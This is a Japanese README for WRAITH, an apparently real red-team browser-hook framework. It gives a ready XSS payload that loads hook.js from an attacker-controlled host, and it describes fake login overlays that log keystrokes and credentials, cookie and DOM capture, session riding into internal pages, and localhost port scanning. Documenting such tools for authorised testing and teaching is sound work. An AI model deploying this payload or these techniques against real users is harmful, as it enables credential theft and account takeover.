
ブラウザフックフレームワーク。許可されたレッドチームと教育者向け。XSSを介してブラウザをフックし、対話型のポストエクスプロイテーション制御、ブラインドXSSの戦利品キャプチャ、ソーシャルエンジニアリングオーバーレイ、および練習ラボを提供する。
レッドチーム、セキュリティ研究者、教育者向けの、モダンでスタンドアロンなブラウザフックフレームワーク — BeEF や、私たちが日常的に使っている blind-XSS コールバックツールのクリーンルーム後継です。
認可されたセキュリティテスト、研究、教育のみを目的としています。 WRAITH は、フィッシング / man-in-the-browser / blind-XSS のトレードクラフトを実演・テストするための攻撃的セキュリティツールです。明示的な認可を得たシステムと人物に対してのみ使用してください。使用方法については、あなた自身に責任があります。

Arcanum での業務を通じて、私たちは常に2種類の異なるツールに手を伸ばし、それらが1つになればいいのにと思い続けていました。
一方は BeEF — Browser Exploitation Framework — で、古典的な ブラウザをフックし、そのセッションの内部から操作する ワークフロー用です: 偽ログインのキーログ、ローカルネットワークの偵察、生きた被害者へのモジュール配信。これは man-in-the-browser を現実のものとして人々に示すために使ってきたツールです。しかし、時代遅れになりつつあり、今日のブラウザでは大きな部分が信頼性に欠け、ソーシャルエンジニアリングのオーバーレイは10年前のログイン画面のように見えます。
もう一方は、私たちのお気に入りの blind-XSS コールバックフレームワーク (XSS Hunter、ezXSS) でした: ペイロードをフィールドに仕込み、見えない場所で発火した瞬間に、成果物 — オリジン、クッキー、DOM、スクリーンショット — とともにコールバックが返ってきます。
私たちがますます必要としていたのは — 特にターゲットの多くが AI アプリケーションエコシステム になり、信頼できないテキストがエージェント、ツール出力、管理者レビューキュー、サポートコンソールを流れ、誰も見ていない場所で JavaScript が発火する ようになるにつれて — 両方を実現する単一のフレームワークでした: BeEF フックの対話的で持続的なポストエクスプロイテーション制御 と、ファイア・アンド・フォーゲットの blind-XSS コールバック成果物を、現在のブラウザで信頼性が高く、今日の実際のログイン画面のように見える1つのペイロードで実現することです。
そこで私たちは WRAITH を構築しました。
WRAITH を 意図的に、早期に リリースしています。実際に使用する人々の手に渡り、何が壊れるかを聞くことを、「完成」するまで寝かせておくよりも優先します。
つまり: 粗い部分やバグがあることを想定してください。 一部のモジュールは他のものより実戦で検証されています。ブラウザの動作は常に変化しており (以下のネットワークスキャンの注意事項を参照)、API はバージョン間で変更される可能性があります。問題に遭遇した場合は、issue を開いて ください — 再現手順、ブラウザ + バージョン、期待した動作が重要です。プロジェクトの貢献条件の下で PR も歓迎します。
最も速い方法です。Docker と Docker Compose が必要です。
git clone https://github.com/Arcanum-Sec/wraith
cd wraith
./setup.sh
setup.sh がすべてを案内します:
.env (chmod 600) を書き込み、コンテナをビルド + 起動 します。 オペレーターコンソール : http://YOUR_IP:8090/operator/
ログインページ : http://YOUR_IP:8090/login (ユーザー "operator")
デモ被害者ページ : http://YOUR_IP:8090/demo/
フックペイロード : http://YOUR_IP:8090/hook.js
そのまま使える XSS ペイロード:
"><script src="http://YOUR_IP:8090/hook.js"></script>
標準的な compose コマンドで管理します:
docker compose logs -f # 監視
docker compose down # 停止 (./data は保持)
./setup.sh # 再設定 (パスワード変更、アドレス変更など)
キャプチャされたセッションはホスト上の ./data/ に永続化されます — イメージに焼き込まれることは決してなく、コミットされることも決してありません (.env と data/ は gitignore されています)。
オペレーターコンソールは、オペレーターパスワードが設定されている場合、ユーザー名 + パスワードのサインインでログインゲートされます:

npm install
npm start
次に、オペレーターコンソールを http://127.0.0.1:3000/operator/ で、デモ被害者ページを http://127.0.0.1:3000/demo/ (別のブラウザ/プロファイルで) 開きます。localhost では、利便性のためデフォルトでログインが無効になっています — サーバーはオペレーターパスワードなしでパブリックインターフェースへのバインドを拒否するため、誤ってオープンパネルを公開することはありません。
/hook.js は小さなペイロードです。制御する任意のページに配置するか (<script src="/hook.js"></script>)、ターゲットの XSS を介して配信します。これを読み込んだブラウザはオペレーターへの WebSocket を開き、自身をフィンガープリントし (ブラウザ、OS、IP、ページ、UA)、自動再接続し、ナビゲーションを生き延びます。フックされたすべてのブラウザはコンソールにライブ表示され、1つを選択して操作できます — フルダッシュボードはこの README の冒頭のヒーローショットです: フックされたブラウザの名簿、ターゲット詳細、展開コントロール、ライブアクティビティフィード、キャプチャされた認証情報。
モダナイズされた偽ログインオーバーレイで、分離されたシャドウ DOM にレンダリングされるため、どのホストページでもピクセル完璧に見え、実際の再認証モーダルのように背後にあるページをフロストブラーでぼかします。LinkedIn、Facebook、Microsoft / Office 365 (本物の2段階メール → パスワード) が同梱されています。

ターゲットがオーバーレイに入力するすべての文字がリアルタイムでコンソールにストリーミングされ、送信された認証情報は Captured Credentials に保存されます — すべて永続化されるため、リフレッシュや再起動で失われることはありません。

ブラウザがフックした瞬間、WRAITH は Page Capture を自動発火します: blind-XSS フレームワークがペイロードが見えない場所で発火したときに取得するものとまったく同じです — 発火した場所 (オリジン + URL + リファラー)、被害者のクッキー (非 HttpOnly)、完全な DOM、そしてスクリーンショット。失敗は正直に報告されます。なぜなら、それら自体が教訓だからです: HttpOnly クッキーは決して表示されず、CSP やクロスオリジンのキャンバス汚染がスクリーンショットをブロックする可能性があります。

ここが WRAITH が置き換えるツールよりも先を行く点です。 ページに blind XSS やフックを仕込んだとき、ほとんどのフレームワークはスクリーンショットと生の HTML のダンプで止まります — ペイロードがどこで発火したかは見えますが、それで何かをすることはできません。
WRAITH の Page Mirror は、その行き止まりの成果物を、アプリケーションのライブでナビゲート可能なビューに変えます。フックされたページを、オペレーターコンソール内の実際にレンダリングされたブラウザビューとして開きます — そして、被害者がするように、リンクをクリックしてアプリ内を視覚的に移動できます。

重要な点: すべてのナビゲーションはフックされたブラウザを通じてフェッチされます。そのため、被害者のセッションと同一オリジンの信頼に乗ります。被害者のセッションが到達できる任意のページ、エンドポイント、機能に、あなたも到達できます — 認証されたセッションクッキーの背後にゲートされていて、あなたが決して見ることのない (そして HttpOnly であるため、完全に盗むこともできない) ページも含みます。
以下の例では、サポートエージェントのチケットキューから開始し、内部の Credential Vault まで直接クリックして移動しています — 認証されたエージェントセッション内でのみ解決されるページです。認証情報のフィッシングも、クッキーの窃取もありません: 単に被害者のセッションに乗ってそこに到達しただけです。

クロスオリジンの読み取りは設計上依然として失敗します (同一オリジンポリシーは有効です) — ミラーの到達範囲は被害者の到達範囲と正確に同じで、それ以上でも以下でもありません。その境界自体が教訓の一部です。
すべてのコンテキスト (HTML、属性ブレイクアウト、タグクローズ、イベントハンドラ、JS コンテキスト、javascript: URI、jQuery) 用の、すぐに発火可能なインジェクション文字列の XSS-Hunter スタイルカタログ。それぞれに あなたの フック URL が自動入力され、ワンクリックでコピーできます。

フックされたブラウザをプロキシとして使用し、被害者のローカルサービスをフィンガープリントします。これはタイミングサイドチャネルで、現在のブラウザ向けに再構築されています — 信頼できるデフォルトは、2つの独立したプリミティブ (fetch および WebSocket タイミング、まさに eBay の check.js メソッド) を使用したキャリブレーション済み 127.0.0.1 スキャンです。LAN モードも含まれていますが、正直にラベル付けされています。なぜなら、Chrome 142+ の Local Network Access が現在それらをゲートしているからです (下記 を参照)。
/lab に、保存型 XSS シンクを持つ意図的に脆弱な「サポートデスク」があり、チェーン全体を同一オリジンでエンドツーエンドにデモできます: 悪意のあるチケットを送信 → 「エージェント」がキューをレビューし、ペイロードが発火 (blind-XSS の瞬間) → フックされたエージェントを Page Mirror し、セッションゲートされたボールトを取得。設計上意図的に安全でなく、フラグが仕込まれています。

フックは読み込まれた瞬間に発火します。これは、保存されたフィールドにドロップされ、後で見えない管理者/サポート/ログ/エージェントコンテキストでレンダリングされる blind-XSS ペイロードとまったく同じです。データに直接現れる教訓:
オフラインラボ用に、html2canvas をセルフホストしてください — public/vendor/README.md を参照してください。
JavaScript はクロスオリジンのレスポンスを読み取ることはできませんが、リクエストを開始して、どのように失敗するか、どれだけ速いかを観察することはでき、これがポートの状態を漏らします。このモジュールは、現在のブラウザ (2025–2026) で動作するものに基づいて再構築されました。なぜなら、古い BeEF 時代の LAN スイープは現在では死んでいるからです。
現代の現実: Chrome 142+ (2025年10月) は Local Network Access (LNA) を搭載し、プライベートレンジ (10.x / 172.16.x / 192.168.x) へのリクエストを権限プロンプトの背後にゲートします。ブラインド LAN スイープはもはやワイヤに到達しません。しかし、ループバック (127.0.0.1) は依然として到達可能であり、それをスキャンすることが現実世界の攻撃です — eBay、Best Buy などは、ローカルサービスとリモートアクセスツールをフィンガープリントするために訪問者の localhost をポートスキャンしていたことが発覚しました。
したがって、このモジュールには3つのモードがあります:
127.0.0.1 スキャンで、各ポートを fetch タイミング および WebSocket タイミングでプローブし、まずこのマシンの RST ベースラインを学習してから、解決、ハング、または遅延するものを OPEN としてフラグし、可能性のあるサービスをラベル付けし、fetch、ws、または両方が一致したかを示します。現在 Chrome および Firefox で動作します。これらのツールは攻撃の異なる段階に存在し、異なる信頼コンテキストを悪用します。それらは補完的であり、連鎖します。
教えるべき正直な区別: 私たちのオーバーレイフィッシュはユーザーが入力するものを収穫します — 実際のセッションをキャプチャしたり、MFA を突破したりはしません。それがまさに優れた対比であり、業界がフィッシング耐性、オリジン結合認証 (FIDO2 / WebAuthn / パスキー) に移行した理由です。現実的なキルチェーンは3つすべてを使用します: blind XSS がコード実行を見つけて配信し、WRAITH フックが対話的なセッション内制御を提供し (Page Mirror 経由でアプリ機能に直接到達)、リダイレクトが被害者を Evilginx フローに導いて実際の MFA 通過セッションを取得できます。
すべては環境変数で駆動されます。hook.js が配信された場所からコールバック URL を導出するため、同じビルドがどこでも動作します。setup.sh はこれらを .env に書き込みます。
署名付き HttpOnly セッションクッキーが、パネルとライブ WebSocket の両方をカバーします。フックペイロード、デモページ、/ws/hook チャネルは、被害者が到達できるように公開のままです。フェイルセーフとして、サーバーはパスワードが設定されていない限り、パブリックインターフェースへのバインドを拒否します。
Docker ではなくベアメタル / systemd デプロイメントの場合は、deploy/DEPLOY.md を参照してください。
server.js C2 サーバー (HTTP + WS、パスによる2つの役割)
config.js 環境変数駆動の設定
store.js 永続的なセッション/成果物ストア (data/sessions.json)
lab.js 意図的に脆弱なプラクティスラボ (/lab)
public/hook.js ペイロード
public/demo/ 無害な「被害者」ランディングページ
public/operator/ オペレーターコンソール (GUI + ペイロードカタログ)
modules/ linkedin.js facebook.js microsoft.js portscan.js capture.js + レジストリ
public/vendor/ 任意のセルフホストライブラリ (オフラインスクリーンショット用 html2canvas)
setup.sh 対話型 Docker インストーラー
Dockerfile / docker-compose.yml
deploy/ ベアメタル systemd 代替
docs/screenshots/ この README で使用される画像
WRAITH は © 2026 Arcanum Information Security であり、Apache License 2.0 の下でリリースされています。
自由に使用、変更、再配布できます — 独自のトレーニングでの使用も含みます — ただし、帰属表示を維持する必要があります: 配布またはフォークするものには LICENSE と NOTICE ファイル、および Arcanum の著作権表示を保持し、行った変更を明記してください (Apache-2.0 §4)。NOTICE を参照してください。このライセンスは、コードの出所を説明する目的以外での Arcanum の名称またはマークの使用を許可するものではありません。
Arcanum によって ❤️ を込めて構築 — https://arcanum-sec.com
| BeEF | WRAITH |
|---|
hook.js + XHR ポーリング | public/hook.js + WebSocket (ライブ、信頼性あり) |
| Ruby サーバー + RESTful API | server.js (Node + ws) |
| オンライン/オフラインブラウザパネル | オペレーターコンソール「Hooked Browsers」 |
| Pretty Theft モジュール | オーバーレイ modules/*.js (モダンな LinkedIn/Facebook/Microsoft) |
| ネットワークディスカバリー / ポートスキャナー | modules/portscan.js (キャリブレーション済み、現在のブラウザ対応) |
| コマンド結果 | ライブキーストローク + Captured Credentials + Scan Results |
| (同等なし) | Page Capture (blind-XSS 成果物) + Page Mirror (アプリ内ナビゲーション) |
| WRAITH / BeEF | Blind-XSS フレームワーク (XSS Hunter、ezXSS) | AiTM プロキシ (Evilginx、EvilGoPhish、Modlishka) |
|---|
| それは何か | ブラウザ内 man-in-the-browser ポストエクスプロイテーション C2 (+ blind-XSS 成果物) | ワンショット偵察付き XSS 検出 + 証明 | アドバーサリー・イン・ザ・ミドル リバースプロキシ |
| 前提条件 | ページ内で JS がすでに実行されている | 同じ: ペイロードが見えない場所で実行される | 被害者がリンクをクリックし、あなたの類似ドメインでログインする |
| 悪用するオリジン | 被害者の実際のセッション / 実際のオリジン | 脆弱なアプリのオリジン | 実際のサイトをプロキシする別の攻撃者ドメイン |
| キャプチャするもの | 認証情報 + キーストローク + 偵察 + blind-XSS 成果物 + Page Mirror によるアプリ内ナビゲーション | 「発火した、そしてここにある」: DOM、クッキー、スクリーンショット、オリジン | 実際の認証情報 および MFA 後のセッショントークン |
| MFA を突破するか? | いいえ — 静的な認証情報をフィッシングしただけ | ページ内のライブ認証セッションに乗る場合のみ | はい — 認証後のセッションクッキーを盗むことが目的 |
| 環境変数 | デフォルト | 目的 |
|---|
WRAITH_HOST | 127.0.0.1 | バインドインターフェース (0.0.0.0 で公開; Docker では強制) |
WRAITH_PORT | 3000 | HTTP + WebSocket ポート (setup.sh はデフォルトで 8090) |
WRAITH_PUBLIC_URL | (導出) | あなたの IP/ドメイン。正しいフック URL の表示に使用 |
WRAITH_OP_USER | (空) | オペレーターログインユーザー名 (任意; setup.sh が設定) |
WRAITH_OP_PASSWORD | (空) | オペレーターログインパスワード; パブリックバインドには必須 |
WRAITH_SECRET | (ランダム/起動時) | セッションクッキーに署名; 再起動後もログインを維持するために設定 |
WRAITH_SESSION_HOURS | 12 | オペレーターセッションの有効期間 |
WRAITH_AUTOCAPTURE | 1 | フック時に Page Capture を自動発火 (0 = 手動、BeEF スタイル) |